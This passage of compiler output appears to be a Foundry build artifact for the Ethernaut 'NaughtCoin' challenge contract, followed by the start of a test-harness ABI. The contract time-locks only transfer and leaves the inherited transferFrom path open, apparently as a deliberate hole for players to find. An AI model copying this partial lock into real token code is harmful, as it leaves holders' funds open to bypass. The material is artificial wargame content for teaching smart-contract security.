internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"player","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"timeLock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"See {IERC20-allowance}."},"approve(address,uint256)":{"details":"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address."},"balanceOf(address)":{"details":"See {IERC20-balanceOf}."},"decimals()":{"details":"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}."},"decreaseAllowance(address,uint256)":{"details":"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`."},"increaseAllowance(address,uint256)":{"details":"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address."},"name()":{"details":"Returns the name of the token."},"symbol()":{"details":"Returns the symbol of the token, usually a shorter version of the name."},"totalSupply()":{"details":"See {IERC20-totalSupply}."},"transferFrom(address,address,uint256)":{"details":"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/NaughtCoin.sol":"NaughtCoin"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/NaughtCoin.sol":{"keccak256":"0xcb5badafdda7964f7ecff734d7ea651955edd8ac972af60da00a333d93b90ee6","urls":["bzz-raw://c28431e7bf65eb7fd2c5f86912e2b1a8f5abe81ed9b89feb2d4c7d0f3c1c4862","dweb:/ipfs/QmexLSfBVULBNSsMMNkZjpvFWj24ESns2L8Jcm7e6d1reF"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/NaughtCoin.sol","id":53913,"exportedSymbols":{"Context":[48281],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"NaughtCoin":[53912]},"nodeType":"SourceUnit","src":"32:1132:95","nodes":[{"id":53816,"nodeType":"PragmaDirective","src":"32:23:95","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53817,"nodeType":"ImportDirective","src":"57:57:95","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":53913,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":53912,"nodeType":"ContractDefinition","src":"116:1047:95","nodes":[{"id":53827,"nodeType":"VariableDeclaration","src":"291:57:95","nodes":[],"constant":false,"functionSelector":"d085835a","mutability":"mutable","name":"timeLock","nameLocation":"306:8:95","scope":53912,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53820,"name":"uint256","nodeType":"ElementaryTypeName","src":"291:7:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53826,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53821,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"317:5:95","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":53822,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"323:9:95","memberName":"timestamp","nodeType":"MemberAccess","src":"317:15:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"commonType":{"typeIdentifier":"t_rational_315360000_by_1","typeString":"int_const 315360000"},"id":53825,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"hexValue":"3130","id":53823,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"335:2:95","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"hexValue":"333635","id":53824,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"340:8:95","subdenomination":"days","typeDescriptions":{"typeIdentifier":"t_rational_31536000_by_1","typeString":"int_const 31536000"},"value":"365"},"src":"335:13:95","typeDescriptions":{"typeIdentifier":"t_rational_315360000_by_1","typeString":"int_const 315360000"}},"src":"317:31:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":53829,"nodeType":"VariableDeclaration","src":"354:29:95","nodes":[],"constant":false,"functionSelector":"2ff2e9dc","mutability":"mutable","name":"INITIAL_SUPPLY","nameLocation":"369:14:95","scope":53912,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53828,"name":"uint256","nodeType":"ElementaryTypeName","src":"354:7:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":53831,"nodeType":"VariableDeclaration","src":"389:21:95","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"404:6:95","scope":53912,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53830,"name":"address","nodeType":"ElementaryTypeName","src":"389:7:95","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53872,"nodeType":"FunctionDefinition","src":"417:340:95","nodes":[],"body":{"id":53871,"nodeType":"Block","src":"473:284:95","nodes":[],"statements":[{"expression":{"id":53842,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53840,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53831,"src":"483:6:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53841,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53833,"src":"492:7:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"483:16:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53843,"nodeType":"ExpressionStatement","src":"483:16:95"},{"expression":{"id":53855,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53844,"name":"INITIAL_SUPPLY","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53829,"src":"509:14:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53854,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"31303030303030","id":53845,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"526:7:95","typeDescriptions":{"typeIdentifier":"t_rational_1000000_by_1","typeString":"int_const 1000000"},"value":"1000000"},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53852,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"3130","id":53846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"537:2:95","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"nodeType":"BinaryOperation","operator":"**","rightExpression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":53849,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47350,"src":"551:8:95","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_uint8_$","typeString":"function () view returns (uint8)"}},"id":53850,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"551:10:95","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint8","typeString":"uint8"}],"id":53848,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"543:7:95","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":53847,"name":"uint256","nodeType":"ElementaryTypeName","src":"543:7:95","typeDescriptions":{}}},"id":53851,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"543:19:95","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"537:25:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":53853,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"536:27:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"526:37:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"509:54:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53856,"nodeType":"ExpressionStatement","src":"509:54:95"},{"expression":{"arguments":[{"id":53858,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53831,"src":"668:6:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":53859,"name":"INITIAL_SUPPLY","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53829,"src":"676:14:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":53857,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"662:5:95","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":53860,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"662:29:95","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53861,"nodeType":"ExpressionStatement","src":"662:29:95"},{"eventCall":{"arguments":[{"arguments":[{"hexValue":"30","id":53865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"723:1:95","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":53864,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"715:7:95","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53863,"name":"address","nodeType":"ElementaryTypeName","src":"715:7:95","typeDescriptions":{}}},"id":53866,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"715:10:95","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":53867,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53831,"src":"727:6:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":53868,"name":"INITIAL_SUPPLY","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53829,"src":"735:14:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":53862,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47873,"src":"706:8:95","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":53869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"706:44:95","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53870,"nodeType":"EmitStatement","src":"701:49:95"}]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"hexValue":"4e6175676874436f696e","id":53836,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"452:12:95","typeDescriptions":{"typeIdentifier":"t_stringliteral_4afc39a1c0cce09bb97a850a1428ae64f67913cc9defe3d11f67b29861baf4b9","typeString":"literal_string \"NaughtCoin\""},"value":"NaughtCoin"},{"hexValue":"307830","id":53837,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"466:5:95","typeDescriptions":{"typeIdentifier":"t_stringliteral_77b7d82d931e1a403db0240b08c0716665eec4664af617c457918e4a67bc1810","typeString":"literal_string \"0x0\""},"value":"0x0"}],"id":53838,"kind":"baseConstructorSpecifier","modifierName":{"id":53835,"name":"ERC20","nameLocations":["446:5:95"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"446:5:95"},"nodeType":"ModifierInvocation","src":"446:26:95"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53834,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53833,"mutability":"mutable","name":"_player","nameLocation":"437:7:95","nodeType":"VariableDeclaration","scope":53872,"src":"429:15:95","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53832,"name":"address","nodeType":"ElementaryTypeName","src":"429:7:95","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"428:17:95"},"returnParameters":{"id":53839,"nodeType":"ParameterList","parameters":[],"src":"473:0:95"},"scope":53912,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53892,"nodeType":"FunctionDefinition","src":"763:133:95","nodes":[],"body":{"id":53891,"nodeType":"Block","src":"852:44:95","nodes":[],"statements":[{"expression":{"arguments":[{"id":53887,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53874,"src":"877:3:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":53888,"name":"_value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53876,"src":"882:6:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":53884,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"862:5:95","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_NaughtCoin_$53912_$","typeString":"type(contract super NaughtCoin)"}},"id":53886,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"868:8:95","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"862:14:95","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns (bool)"}},"id":53889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"862:27:95","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53890,"nodeType":"ExpressionStatement","src":"862:27:95"}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[{"id":53880,"kind":"modifierInvocation","modifierName":{"id":53879,"name":"lockTokens","nameLocations":["826:10:95"],"nodeType":"IdentifierPath","referencedDeclaration":53911,"src":"826:10:95"},"nodeType":"ModifierInvocation","src":"826:10:95"}],"name":"transfer","nameLocation":"772:8:95","overrides":{"id":53878,"nodeType":"OverrideSpecifier","overrides":[],"src":"817:8:95"},"parameters":{"id":53877,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53874,"mutability":"mutable","name":"_to","nameLocation":"789:3:95","nodeType":"VariableDeclaration","scope":53892,"src":"781:11:95","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53873,"name":"address","nodeType":"ElementaryTypeName","src":"781:7:95","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":53876,"mutability":"mutable","name":"_value","nameLocation":"802:6:95","nodeType":"VariableDeclaration","scope":53892,"src":"794:14:95","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53875,"name":"uint256","nodeType":"ElementaryTypeName","src":"794:7:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"780:29:95"},"returnParameters":{"id":53883,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53882,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53892,"src":"846:4:95","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53881,"name":"bool","nodeType":"ElementaryTypeName","src":"846:4:95","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"845:6:95"},"scope":53912,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53911,"nodeType":"ModifierDefinition","src":"990:171:95","nodes":[],"body":{"id":53910,"nodeType":"Block","src":"1012:149:95","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53897,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53894,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1026:3:95","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53895,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1030:6:95","memberName":"sender","nodeType":"MemberAccess","src":"1026:10:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":53896,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53831,"src":"1040:6:95","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1026:20:95","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53908,"nodeType":"Block","src":"1129:26:95","statements":[{"id":53907,"nodeType":"PlaceholderStatement","src":"1143:1:95"}]},"id":53909,"nodeType":"IfStatement","src":"1022:133:95","trueBody":{"id":53906,"nodeType":"Block","src":"1048:75:95","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53902,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53899,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"1070:5:95","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":53900,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1076:9:95","memberName":"timestamp","nodeType":"MemberAccess","src":"1070:15:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":53901,"name":"timeLock","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53827,"src":"1088:8:95","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1070:26:95","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":53898,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1062:7:95","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":53903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1062:35:95","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53904,"nodeType":"ExpressionStatement","src":"1062:35:95"},{"id":53905,"nodeType":"PlaceholderStatement","src":"1111:1:95"}]}}]},"name":"lockTokens","nameLocation":"999:10:95","parameters":{"id":53893,"nodeType":"ParameterList","parameters":[],"src":"1009:2:95"},"virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[{"baseName":{"id":53818,"name":"ERC20","nameLocations":["139:5:95"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"139:5:95"},"id":53819,"nodeType":"InheritanceSpecifier","src":"139:5:95"}],"canonicalName":"NaughtCoin","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53912,47861,47964,47939,48281],"name":"NaughtCoin","nameLocation":"125:10:95","scope":53913,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":95} \ No newline at end of file diff --git a/contracts/out/NaughtCoin.t.sol/TestNaughtCoin.json b/contracts/out/NaughtCoin.t.sol/TestNaughtCoin.json new file mode 100644 index 000000000..25af40c3c --- /dev/null +++ b/contracts/out/NaughtCoin.t.sol/TestNaughtCoin.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct 